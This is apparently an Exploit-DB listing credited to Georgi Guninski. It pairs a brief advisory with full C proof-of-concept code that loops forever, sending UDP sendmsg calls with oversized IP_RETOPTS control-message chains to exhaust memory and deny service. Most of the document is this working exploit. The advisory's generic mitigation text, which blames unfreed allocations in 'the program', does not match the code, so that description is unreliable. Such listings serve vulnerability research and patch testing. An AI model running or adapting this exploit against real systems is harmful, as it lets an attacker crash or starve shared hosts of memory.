Memory Leak in the program

vendor:

by:

Georgi Guninski

5.5

CVSS

MEDIUM

Memory Leak

CWE

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Patch Exists: NO

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Platforms Tested:

2004

This program contains a memory leak vulnerability. The vulnerability occurs when the program repeatedly allocates memory without freeing it, leading to a gradual increase in memory usage over time. An attacker can exploit this vulnerability to exhaust the available memory resources, causing a denial of service condition. This vulnerability was discovered by Georgi Guninski.

Mitigation:

To mitigate this vulnerability, the program should ensure that memory allocated is properly freed after use. This can be done by using appropriate memory management techniques such as deallocating memory using free() function.

Source

Exploit-DB raw data:

/* memory leak
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases (like securityfocus and mitre)
 * */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad; 
char msg[128];
struct cmsghdr *cmsg,*cm2; 
char opts[24];

ma=250;
printf("just wait and watch memory usage\n");

memset(opts,0,sizeof(opts));

while(42)
{
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080); 

connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); 

memset(msg,'v',sizeof(msg));
#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));

cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
for(j=0;j<ma;j++)
{
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  sizeof(struct cmsghdr) + sizeof(opts); 
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));
}

cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  sizeof(struct cmsghdr) + 8; 

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);

msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len;  
msghdr.msg_iov = iovector;

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);

if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;}

close(s);
free(cmsg);
}
return 42;
}

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